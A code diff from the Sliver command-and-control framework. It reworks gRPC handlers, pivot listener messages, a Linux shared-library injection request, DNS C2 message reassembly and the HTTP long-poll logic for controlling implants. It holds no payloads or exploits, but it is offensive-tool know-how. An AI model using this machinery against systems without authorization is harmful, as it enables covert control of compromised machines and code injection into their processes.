return srv.(SliverRPCServer).TCPListener(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/PivotStopListener",
|
||||
FullMethod: "/rpcpb.SliverRPC/TCPListener",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).PivotStopListener(ctx, req.(*sliverpb.PivotStopListenerReq))
|
||||
return srv.(SliverRPCServer).TCPListener(ctx, req.(*sliverpb.TCPPivotReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_PivotListeners_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.PivotListenersReq)
|
||||
func _SliverRPC_ListPivots_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.PivotListReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).PivotListeners(ctx, in)
|
||||
return srv.(SliverRPCServer).ListPivots(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/PivotListeners",
|
||||
FullMethod: "/rpcpb.SliverRPC/ListPivots",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).PivotListeners(ctx, req.(*sliverpb.PivotListenersReq))
|
||||
return srv.(SliverRPCServer).ListPivots(ctx, req.(*sliverpb.PivotListReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
@@ -3504,6 +3516,24 @@ func _SliverRPC_GetPrivs_Handler(srv interface{}, ctx context.Context, dec func(
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_LibInject_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.LibInjectReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).LibInject(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/LibInject",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).LibInject(ctx, req.(*sliverpb.LibInjectReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_OpenSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.OpenSession)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -4181,16 +4211,16 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
Handler: _SliverRPC_Screenshot_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "PivotStartListener",
|
||||
Handler: _SliverRPC_PivotStartListener_Handler,
|
||||
MethodName: "NamedPipes",
|
||||
Handler: _SliverRPC_NamedPipes_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "PivotStopListener",
|
||||
Handler: _SliverRPC_PivotStopListener_Handler,
|
||||
MethodName: "TCPListener",
|
||||
Handler: _SliverRPC_TCPListener_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "PivotListeners",
|
||||
Handler: _SliverRPC_PivotListeners_Handler,
|
||||
MethodName: "ListPivots",
|
||||
Handler: _SliverRPC_ListPivots_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "StartService",
|
||||
@@ -4256,6 +4286,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "GetPrivs",
|
||||
Handler: _SliverRPC_GetPrivs_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "LibInject",
|
||||
Handler: _SliverRPC_LibInject_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "OpenSession",
|
||||
Handler: _SliverRPC_OpenSession_Handler,
|
||||
|
||||
@@ -162,28 +162,24 @@ const (
|
||||
// MsgNetstatReq - Netstat request
|
||||
MsgNetstatReq
|
||||
|
||||
// *** Pivots ***
|
||||
|
||||
// MsgPivotStartListenerReq - Start a listener
|
||||
MsgPivotStartListenerReq
|
||||
// MsgPivotStopListenerReq - Stop a listener
|
||||
MsgPivotStopListenerReq
|
||||
// MsgPivotListenersReq - List listeners request
|
||||
MsgPivotListenersReq
|
||||
// MsgPivotListeners - List listeners response
|
||||
MsgPivotListeners
|
||||
// MsgPivotPeerPing - Pivot peer ping message
|
||||
MsgPivotPeerPing
|
||||
// MsgPivotServerPing - Pivot peer ping message
|
||||
MsgPivotServerPing
|
||||
// PivotServerKeyExchange - Pivot to server key exchange
|
||||
MsgPivotServerKeyExchange
|
||||
// MsgPivotPeerEnvelope - An envelope from a pivot peer
|
||||
MsgPivotPeerEnvelope
|
||||
// MsgPivotPeerFailure - Failure to send an envelope to a pivot peer
|
||||
MsgPivotPeerFailure
|
||||
// MsgPivotOriginEnvelope
|
||||
MsgPivotOriginEnvelope
|
||||
// MsgNamedPipesReq - Request to take create a new named pipe listener
|
||||
MsgNamedPipesReq
|
||||
// MsgNamedPipes - Response with the result
|
||||
MsgNamedPipes
|
||||
// MsgTCPPivotReq - Request to take create a new MTLS listener
|
||||
MsgTCPPivotReq
|
||||
// MsgTCPPivot - Response with the result
|
||||
MsgTCPPivot
|
||||
// MsgPivotListReq
|
||||
MsgPivotListReq
|
||||
// MsgPivotPublicKey - Request the pivot public key
|
||||
MsgPivotPublicKey
|
||||
// MsgPivotOpen - Request to create a new pivot tunnel
|
||||
MsgPivotOpen
|
||||
// MsgPivotClose - Request to notify the closing of an existing pivot tunnel
|
||||
MsgPivotClose
|
||||
// MsgPivotData - Request that encapsulates and envelope form a sliver to the server though the pivot and viceversa
|
||||
MsgPivotData
|
||||
|
||||
// MsgStartServiceReq - Request to start a service
|
||||
MsgStartServiceReq
|
||||
@@ -274,6 +270,9 @@ const (
|
||||
MsgOpenSession
|
||||
// MsgCloseSession - Close the active session
|
||||
MsgCloseSession
|
||||
|
||||
// MsgLibInjectReq - Inject a shared library into a Linux process
|
||||
MsgLibInjectReq
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -295,110 +294,146 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
|
||||
case *Register:
|
||||
return MsgRegister
|
||||
|
||||
case *TaskReq:
|
||||
return MsgTaskReq
|
||||
|
||||
case *Ping:
|
||||
return MsgPing
|
||||
|
||||
case *KillReq:
|
||||
return MsgKillSessionReq
|
||||
|
||||
case *LsReq:
|
||||
return MsgLsReq
|
||||
case *Ls:
|
||||
return MsgLs
|
||||
|
||||
case *DownloadReq:
|
||||
return MsgDownloadReq
|
||||
case *Download:
|
||||
return MsgDownload
|
||||
|
||||
case *UploadReq:
|
||||
return MsgUploadReq
|
||||
case *Upload:
|
||||
return MsgUpload
|
||||
|
||||
case *CdReq:
|
||||
return MsgCdReq
|
||||
|
||||
case *PwdReq:
|
||||
return MsgPwdReq
|
||||
case *Pwd:
|
||||
return MsgPwd
|
||||
|
||||
case *RmReq:
|
||||
return MsgRmReq
|
||||
case *Rm:
|
||||
return MsgRm
|
||||
|
||||
case *MkdirReq:
|
||||
return MsgMkdirReq
|
||||
case *Mkdir:
|
||||
return MsgMkdir
|
||||
|
||||
case *PsReq:
|
||||
return MsgPsReq
|
||||
case *Ps:
|
||||
return MsgPs
|
||||
|
||||
case *ShellReq:
|
||||
return MsgShellReq
|
||||
case *Shell:
|
||||
return MsgShell
|
||||
|
||||
case *ProcessDumpReq:
|
||||
return MsgProcessDumpReq
|
||||
case *ProcessDump:
|
||||
return MsgProcessDump
|
||||
|
||||
case *ImpersonateReq:
|
||||
return MsgImpersonateReq
|
||||
case *Impersonate:
|
||||
return MsgImpersonate
|
||||
|
||||
case *RunAsReq:
|
||||
return MsgRunAsReq
|
||||
|
||||
case *RunAs:
|
||||
return MsgRunAs
|
||||
|
||||
case *RevToSelfReq:
|
||||
return MsgRevToSelfReq
|
||||
|
||||
case *InvokeGetSystemReq:
|
||||
return MsgInvokeGetSystemReq
|
||||
|
||||
case *GetSystem:
|
||||
return MsgGetSystem
|
||||
|
||||
case *ExecuteAssemblyReq:
|
||||
return MsgExecuteAssemblyReq
|
||||
|
||||
case *InvokeExecuteAssemblyReq:
|
||||
return MsgInvokeExecuteAssemblyReq
|
||||
|
||||
case *ExecuteAssembly:
|
||||
return MsgExecuteAssembly
|
||||
case *ExecuteTokenReq:
|
||||
return MsgExecuteTokenReq
|
||||
|
||||
case *InvokeMigrateReq:
|
||||
return MsgInvokeMigrateReq
|
||||
|
||||
case *SideloadReq:
|
||||
return MsgSideloadReq
|
||||
case *Sideload:
|
||||
return MsgSideload
|
||||
|
||||
case *SpawnDllReq:
|
||||
return MsgSpawnDllReq
|
||||
case *SpawnDll:
|
||||
return MsgSpawnDll
|
||||
|
||||
case *IfconfigReq:
|
||||
return MsgIfconfigReq
|
||||
case *Ifconfig:
|
||||
return MsgIfconfig
|
||||
|
||||
case *ExecuteReq:
|
||||
return MsgExecuteReq
|
||||
|
||||
case *TerminateReq:
|
||||
return MsgTerminateReq
|
||||
|
||||
case *Terminate:
|
||||
return MsgTerminate
|
||||
|
||||
case *ScreenshotReq:
|
||||
return MsgScreenshotReq
|
||||
case *Screenshot:
|
||||
return MsgScreenshot
|
||||
|
||||
case *NetstatReq:
|
||||
return MsgNetstatReq
|
||||
|
||||
case *PivotStartListenerReq:
|
||||
return MsgPivotStartListenerReq
|
||||
case *PivotStopListenerReq:
|
||||
return MsgPivotStopListenerReq
|
||||
case *PivotListenersReq:
|
||||
return MsgPivotListenersReq
|
||||
case *PivotListeners:
|
||||
return MsgPivotListeners
|
||||
case *PivotPing:
|
||||
return MsgPivotPeerPing
|
||||
case *NamedPipesReq:
|
||||
return MsgNamedPipesReq
|
||||
case *NamedPipes:
|
||||
return MsgNamedPipes
|
||||
|
||||
case *TCPPivotReq:
|
||||
return MsgTCPPivotReq
|
||||
case *TCPPivot:
|
||||
return MsgTCPPivot
|
||||
|
||||
case *PivotOpen:
|
||||
return MsgPivotOpen
|
||||
case *PivotClose:
|
||||
return MsgPivotClose
|
||||
case *PivotData:
|
||||
return MsgPivotData
|
||||
case *StartServiceReq:
|
||||
return MsgStartServiceReq
|
||||
case *StopServiceReq:
|
||||
@@ -426,6 +461,9 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
case *RegistryCreateKeyReq:
|
||||
return MsgRegistryCreateKeyReq
|
||||
|
||||
case *PivotListReq:
|
||||
return MsgPivotListReq
|
||||
|
||||
case *WGPortForwardStartReq:
|
||||
return MsgWGStartPortFwdReq
|
||||
case *WGPortForwardStopReq:
|
||||
@@ -478,7 +516,8 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
return MsgOpenSession
|
||||
case *CloseSession:
|
||||
return MsgCloseSession
|
||||
|
||||
case *LibInjectReq:
|
||||
return MsgLibInjectReq
|
||||
}
|
||||
|
||||
return uint32(0)
|
||||
|
||||
+1065
-1028
File diff suppressed because it is too large.
Load diff
@@ -624,7 +624,16 @@ message RegistryListValuesReq {
|
||||
|
||||
message RegistryValuesList {
|
||||
repeated string ValueNames = 1;
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message LibInjectReq {
|
||||
uint64 Pid = 1;
|
||||
bytes Data = 2;
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message LibInject {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
@@ -671,6 +680,7 @@ message PortfwdReq {
|
||||
int32 Protocol = 2;
|
||||
string Host = 3;
|
||||
|
||||
|
||||
uint64 TunnelID = 8 [jstype = JS_STRING]; // Bind to this tunnel
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
@@ -684,13 +694,11 @@ message Portfwd {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
// *** Socks ***
|
||||
// Socks
|
||||
message Socks {
|
||||
|
||||
uint64 TunnelID = 8 [jstype = JS_STRING];
|
||||
uint32 SessionID = 9;
|
||||
}
|
||||
|
||||
message SocksData {
|
||||
bytes Data = 1;
|
||||
bool CloseConn = 2;
|
||||
@@ -698,83 +706,71 @@ message SocksData {
|
||||
string Password = 4;
|
||||
uint64 Sequence = 5;
|
||||
|
||||
|
||||
uint64 TunnelID = 8 [jstype = JS_STRING];
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
// *** Pivots ***
|
||||
|
||||
enum PivotType {
|
||||
TCP = 0;
|
||||
UDP = 1;
|
||||
NamedPipe = 2;
|
||||
}
|
||||
|
||||
message PivotStartListenerReq {
|
||||
PivotType Type = 1;
|
||||
string BindAddress = 2;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message PivotStopListenerReq {
|
||||
uint32 ID = 1;
|
||||
// Named Pipes Messages
|
||||
message NamedPipesReq {
|
||||
string PipeName = 1;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message PivotListener {
|
||||
uint32 ID = 1;
|
||||
PivotType Type = 2;
|
||||
string BindAddress = 3;
|
||||
repeated PivotPeer Pivots = 4;
|
||||
message NamedPipes {
|
||||
bool Success = 1;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message PivotHello {
|
||||
bytes PublicKey = 1;
|
||||
string PublicKeySignature = 2;
|
||||
bytes SessionKey = 3;
|
||||
}
|
||||
|
||||
message PivotServerKeyExchange {
|
||||
int64 OriginID = 2;
|
||||
bytes SessionKey = 3;
|
||||
}
|
||||
|
||||
message PivotPeerEnvelope {
|
||||
int64 PeerID = 1;
|
||||
int64 PivotID = 2;
|
||||
string Name = 3;
|
||||
bytes Data = 4;
|
||||
}
|
||||
|
||||
message PivotPing {
|
||||
uint32 Nonce = 1;
|
||||
}
|
||||
|
||||
message PivotPeer {
|
||||
int64 ID = 1;
|
||||
string RemoteAddress = 2;
|
||||
}
|
||||
|
||||
message PivotPeerFailure {
|
||||
int64 ID = 1;
|
||||
}
|
||||
|
||||
message PivotListenersReq {
|
||||
// TCP Messages for pivoting
|
||||
message TCPPivotReq {
|
||||
string Address = 1;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message PivotListeners {
|
||||
repeated PivotListener Listeners = 1;
|
||||
message TCPPivot {
|
||||
bool Success = 1;
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
// Pivot transport
|
||||
message PivotPublicKey {
|
||||
bytes PublicKey = 1;
|
||||
string OTP = 2;
|
||||
}
|
||||
|
||||
message PivotOpen {
|
||||
uint32 PivotID = 1;
|
||||
bytes PivotKey = 2;
|
||||
}
|
||||
|
||||
message PivotClose {
|
||||
uint32 PivotID = 1;
|
||||
string Err = 2;
|
||||
}
|
||||
|
||||
message PivotData {
|
||||
uint32 PivotID = 1;
|
||||
bytes Data = 2;
|
||||
}
|
||||
|
||||
message PivotEntry {
|
||||
string Type = 1;
|
||||
string Remote = 2;
|
||||
}
|
||||
|
||||
message PivotListReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message PivotList {
|
||||
repeated PivotEntry Entries = 1;
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
// *** Wiregard ***
|
||||
message WGPortForwardStartReq {
|
||||
int32 LocalPort = 1;
|
||||
string RemoteAddress = 2;
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build client
|
||||
// +build client
|
||||
|
||||
package assets
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build server
|
||||
// +build server
|
||||
|
||||
package assets
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build server
|
||||
// +build server
|
||||
|
||||
package assets
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build server
|
||||
// +build server
|
||||
|
||||
package assets
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build server
|
||||
// +build server
|
||||
|
||||
package assets
|
||||
|
||||
|
||||
+4
-13
@@ -36,23 +36,15 @@ import (
|
||||
var (
|
||||
serverECCKeyPair *cryptography.ECCKeyPair
|
||||
implantECCKeyPair *cryptography.ECCKeyPair
|
||||
totpSecret string
|
||||
)
|
||||
|
||||
func TestMain(m *testing.M) {
|
||||
|
||||
// Run one with deterministic randomness if a
|
||||
// crash occurs, we can more easily reproduce it
|
||||
insecureRand.Seed(1)
|
||||
insecureRand.Seed(time.Now().UnixNano())
|
||||
implantConfig := setup()
|
||||
code1 := m.Run()
|
||||
code := m.Run()
|
||||
cleanup(implantConfig)
|
||||
|
||||
insecureRand.Seed(time.Now().UnixMicro())
|
||||
implantConfig = setup()
|
||||
code2 := m.Run()
|
||||
cleanup(implantConfig)
|
||||
|
||||
os.Exit(code1 | code2)
|
||||
os.Exit(code)
|
||||
}
|
||||
|
||||
func setup() *models.ImplantConfig {
|
||||
@@ -73,7 +65,6 @@ func setup() *models.ImplantConfig {
|
||||
"",
|
||||
serverECCKeyPair.PublicBase64(),
|
||||
totpSecret,
|
||||
"",
|
||||
)
|
||||
digest := sha256.Sum256(implantECCKeyPair.Public[:])
|
||||
implantConfig := &models.ImplantConfig{
|
||||
|
||||
+25
-34
@@ -35,11 +35,9 @@ package c2
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
secureRand "crypto/rand"
|
||||
"errors"
|
||||
"hash/crc32"
|
||||
"sort"
|
||||
"unicode"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/dnspb"
|
||||
@@ -62,6 +60,7 @@ import (
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/emirpasic/gods/lists/singlylinkedlist"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
@@ -195,10 +194,11 @@ func (s *DNSSession) IncomingPendingEnvelope(msgID uint32, size uint32) *Pending
|
||||
if pendingMsg, ok := s.incomingEnvelopes[msgID]; ok {
|
||||
return pendingMsg
|
||||
}
|
||||
linkedList := singlylinkedlist.New()
|
||||
pendingMsg := &PendingEnvelope{
|
||||
Size: size,
|
||||
received: uint32(0),
|
||||
messages: map[uint32][]byte{},
|
||||
messages: linkedList,
|
||||
mutex: &sync.Mutex{},
|
||||
complete: false,
|
||||
}
|
||||
@@ -250,35 +250,35 @@ func (s *DNSSession) ForwardCompletedEnvelope(msgID uint32, pending *PendingEnve
|
||||
type PendingEnvelope struct {
|
||||
Size uint32
|
||||
received uint32
|
||||
messages map[uint32][]byte
|
||||
messages *singlylinkedlist.List
|
||||
mutex *sync.Mutex
|
||||
complete bool
|
||||
}
|
||||
|
||||
// Reassemble - Reassemble a completed message
|
||||
func (p *PendingEnvelope) Reassemble() ([]byte, error) {
|
||||
// There's some weird race here with a nil pointer
|
||||
p.mutex.Lock()
|
||||
defer p.mutex.Unlock()
|
||||
if !p.complete {
|
||||
return nil, fmt.Errorf("pending message not complete %d of %d", p.received, p.Size)
|
||||
return nil, errors.New("pending message not complete")
|
||||
}
|
||||
buffer := []byte{}
|
||||
keys := []uint32{}
|
||||
for k := range p.messages {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
if 1 < len(keys) {
|
||||
sort.Slice(keys, func(i, j int) bool { return keys[i] < keys[j] })
|
||||
}
|
||||
dnsLog.Debugf("[dns] reassemble from: %v", keys)
|
||||
for index, k := range keys {
|
||||
dnsLog.Debugf("[dns] reassemble %d (%d->%d): %d bytes",
|
||||
index, len(buffer), len(buffer)+len(p.messages[k]), len(p.messages[k]))
|
||||
buffer = append(buffer, p.messages[k]...)
|
||||
}
|
||||
if len(buffer) != int(p.Size) {
|
||||
return nil, fmt.Errorf("invalid data size %d expected %d", len(buffer), p.Size)
|
||||
p.messages.Sort(func(left, right interface{}) int {
|
||||
leftAssert := left.(*dnspb.DNSMessage)
|
||||
rightAssert := right.(*dnspb.DNSMessage)
|
||||
if leftAssert.Start > rightAssert.Start {
|
||||
return 1
|
||||
} else {
|
||||
return -1
|
||||
}
|
||||
})
|
||||
buffer := make([]byte, p.Size)
|
||||
for _, msg := range p.messages.Values() {
|
||||
msgAssert := msg.(*dnspb.DNSMessage)
|
||||
if msgAssert.Start+uint32(len(msgAssert.Data)) > uint32(len(buffer)) {
|
||||
return nil, fmt.Errorf("message boundaries are invalid (%d -> %d) of %d",
|
||||
msgAssert.Start, msgAssert.Start+msgAssert.Size, len(buffer))
|
||||
}
|
||||
copy(buffer[msgAssert.Start:], msgAssert.Data)
|
||||
}
|
||||
return buffer, nil
|
||||
}
|
||||
@@ -290,19 +290,10 @@ func (p *PendingEnvelope) Insert(dnsMsg *dnspb.DNSMessage) bool {
|
||||
if p.complete {
|
||||
return false // Already complete
|
||||
}
|
||||
p.messages[dnsMsg.Start] = bytes.NewBuffer(dnsMsg.Data).Bytes()
|
||||
dnsLog.Debugf("[dns] msg id: %d, %d->%d, recv: %d of %d",
|
||||
dnsMsg.ID, dnsMsg.Start, int(dnsMsg.Start)+len(dnsMsg.Data), p.received, p.Size)
|
||||
|
||||
total := uint32(0)
|
||||
for k := range p.messages {
|
||||
total += uint32(len(p.messages[k]))
|
||||
}
|
||||
p.received = total
|
||||
p.messages.Append(dnsMsg)
|
||||
p.received += uint32(len(dnsMsg.Data))
|
||||
dnsLog.Debugf("[dns] msg id: %d, recv: %d of %d", dnsMsg.ID, p.received, p.Size)
|
||||
p.complete = p.received >= p.Size
|
||||
if p.complete {
|
||||
dnsLog.Debugf("[dns] message complete %d of %d", p.received, p.Size)
|
||||
}
|
||||
return p.complete
|
||||
}
|
||||
|
||||
|
||||
+23
-18
@@ -49,7 +49,13 @@ var (
|
||||
)
|
||||
|
||||
func randomDataRandomSize(maxSize int) []byte {
|
||||
buf := make([]byte, insecureRand.Intn(maxSize-1)+1)
|
||||
buf := make([]byte, insecureRand.Intn(maxSize))
|
||||
rand.Read(buf)
|
||||
return buf
|
||||
}
|
||||
|
||||
func randomData(size int) []byte {
|
||||
buf := make([]byte, size)
|
||||
rand.Read(buf)
|
||||
return buf
|
||||
}
|
||||
@@ -92,14 +98,14 @@ func randomDNSMsgs(t *testing.T, parent string, maxSize int, encoder encoders.En
|
||||
|
||||
func TestPendingEnvelopes(t *testing.T) {
|
||||
// *** Small ***
|
||||
for i := 0; i < 100; i++ {
|
||||
for i := 0; i < 10; i++ {
|
||||
reassemble(t, example1, 256, encoders.Base58{})
|
||||
reassemble(t, example1, 256, encoders.Base32{})
|
||||
}
|
||||
// *** Large ***
|
||||
for i := 0; i < 100; i++ {
|
||||
reassemble(t, example1, 30*1024, encoders.Base58{})
|
||||
reassemble(t, example1, 30*1024, encoders.Base32{})
|
||||
for i := 0; i < 10; i++ {
|
||||
reassemble(t, example1, 10*1024, encoders.Base58{})
|
||||
reassemble(t, example1, 10*1024, encoders.Base32{})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -113,24 +119,23 @@ func reassemble(t *testing.T, parent string, size int, encoder encoders.Encoder)
|
||||
}
|
||||
|
||||
// Re-assemble original message
|
||||
t.Logf("Re-assembling %d messages", len(dnsMsgs))
|
||||
pending := dnsSession.IncomingPendingEnvelope(dnsMsgs[0].ID, dnsMsgs[0].Size)
|
||||
complete := pending.Insert(dnsMsgs[0])
|
||||
t.Logf("Inserted: %v", dnsMsgs[0])
|
||||
if !complete {
|
||||
for _, dnsMsg := range dnsMsgs[1:] {
|
||||
complete = pending.Insert(dnsMsg)
|
||||
t.Logf("Inserted: %v", dnsMsg)
|
||||
if complete {
|
||||
break
|
||||
}
|
||||
var pending *PendingEnvelope
|
||||
for _, dnsMsg := range dnsMsgs {
|
||||
pending = dnsSession.IncomingPendingEnvelope(dnsMsg.ID, dnsMsg.Size)
|
||||
if pending == nil {
|
||||
t.Fatal("GetPendingEnvelope returned nil")
|
||||
}
|
||||
complete := pending.Insert(dnsMsg)
|
||||
if complete {
|
||||
break
|
||||
}
|
||||
}
|
||||
data, err := pending.Reassemble()
|
||||
if err != nil {
|
||||
t.Logf("Original (%d): %v", len(original), original)
|
||||
for k, v := range pending.messages {
|
||||
t.Logf("%d | %v", k, v)
|
||||
for index, msg := range pending.messages.Values() {
|
||||
msgAssert := msg.(*dnspb.DNSMessage)
|
||||
t.Logf("%d | %v", index, msgAssert)
|
||||
}
|
||||
t.Fatalf("Failed to reassemble pending envelope: %s", err)
|
||||
}
|
||||
|
||||
+5
-5
@@ -589,10 +589,10 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
|
||||
case <-req.Context().Done():
|
||||
httpLog.Debug("Poll client hang up")
|
||||
return
|
||||
case <-time.After(s.getServerPollTimeout()):
|
||||
httpLog.Debug("Poll time out")
|
||||
resp.WriteHeader(http.StatusNoContent)
|
||||
resp.Write([]byte{})
|
||||
// case <-time.After(s.getPollTimeout()):
|
||||
// httpLog.Debug("Poll time out")
|
||||
// resp.WriteHeader(http.StatusNoContent)
|
||||
// resp.Write([]byte{})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -629,7 +629,7 @@ func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseW
|
||||
return plaintext, err
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getServerPollTimeout() time.Duration {
|
||||
func (s *SliverHTTPC2) getPollTimeout() time.Duration {
|
||||
if s.ServerConf.LongPollJitter < 0 {
|
||||
s.ServerConf.LongPollJitter = 0
|
||||
}
|
||||
|
||||
@@ -31,15 +31,12 @@ import (
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
clienttransport "github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/transport"
|
||||
"google.golang.org/grpc"
|
||||
)
|
||||
|
||||
// Start - Starts the server console
|
||||
func Start() {
|
||||
generateServerSpecificValues()
|
||||
|
||||
_, ln, _ := transport.LocalListener()
|
||||
ctxDialer := grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) {
|
||||
return ln.Dial()
|
||||
@@ -60,13 +57,6 @@ func Start() {
|
||||
clientconsole.Start(localRPC, command.BindCommands, serverOnlyCmds, true)
|
||||
}
|
||||
|
||||
// generates server specific values if they do not already exist
|
||||
func generateServerSpecificValues() {
|
||||
cryptography.ECCServerKeyPair()
|
||||
cryptography.TOTPServerSecret()
|
||||
cryptography.MinisignServerPrivateKey()
|
||||
}
|
||||
|
||||
// ServerOnlyCmds - Server only commands
|
||||
func serverOnlyCmds(console *clientconsole.SliverConsoleClient) {
|
||||
|
||||
|
||||
@@ -26,7 +26,6 @@ import (
|
||||
"github.com/gofrs/uuid"
|
||||
)
|
||||
|
||||
// ImplantConnection - Abstract connection to an implant
|
||||
type ImplantConnection struct {
|
||||
ID string
|
||||
Send chan *sliverpb.Envelope
|
||||
@@ -38,12 +37,10 @@ type ImplantConnection struct {
|
||||
Cleanup func()
|
||||
}
|
||||
|
||||
// UpdateLastMessage - Updates the last message time
|
||||
func (c *ImplantConnection) UpdateLastMessage() {
|
||||
c.LastMessage = time.Now()
|
||||
}
|
||||
|
||||
// NewImplantConnection - Creates a new implant connection
|
||||
func NewImplantConnection(transport string, remoteAddress string) *ImplantConnection {
|
||||
return &ImplantConnection{
|
||||
ID: generateImplantConnectionID(),
|
||||
|
||||
@@ -1,7 +0,0 @@
|
||||
package core
|
||||
|
||||
import "sync"
|
||||
|
||||
var (
|
||||
PivotSessions = &sync.Map{} // ID -> Pivot
|
||||
)
|
||||
+4
-11
@@ -43,10 +43,10 @@ var (
|
||||
|
||||
// ErrUnknownMessageType - Returned if the implant did not understand the message for
|
||||
// example when the command is not supported on the platform
|
||||
ErrUnknownMessageType = errors.New("unknown message type")
|
||||
ErrUnknownMessageType = errors.New("Unknown message type")
|
||||
|
||||
// ErrImplantTimeout - The implant did not respond prior to timeout deadline
|
||||
ErrImplantTimeout = errors.New("implant timeout")
|
||||
ErrImplantTimeout = errors.New("Implant timeout")
|
||||
)
|
||||
|
||||
// Session - Represents a connection to an implant
|
||||
@@ -80,7 +80,7 @@ func (s *Session) LastCheckin() time.Time {
|
||||
func (s *Session) IsDead() bool {
|
||||
sessionsLog.Debugf("Last checkin was %v", s.Connection.LastMessage)
|
||||
padding := time.Duration(10 * time.Second) // Arbitrary margin of error
|
||||
timePassed := time.Since(s.LastCheckin())
|
||||
timePassed := time.Now().Sub(s.LastCheckin())
|
||||
reconnect := time.Duration(s.ReconnectInterval)
|
||||
pollTimeout := time.Duration(s.PollTimeout)
|
||||
if timePassed < reconnect+padding && timePassed < pollTimeout+padding {
|
||||
@@ -88,7 +88,7 @@ func (s *Session) IsDead() bool {
|
||||
return false
|
||||
}
|
||||
if s.Connection.Transport == consts.MtlsStr {
|
||||
if time.Since(s.Connection.LastMessage) < mtls.PingInterval+padding {
|
||||
if time.Now().Sub(s.Connection.LastMessage) < mtls.PingInterval+padding {
|
||||
sessionsLog.Debugf("Last message within ping interval with padding")
|
||||
return false
|
||||
}
|
||||
@@ -196,13 +196,6 @@ func (s *sessions) Remove(sessionID uint32) {
|
||||
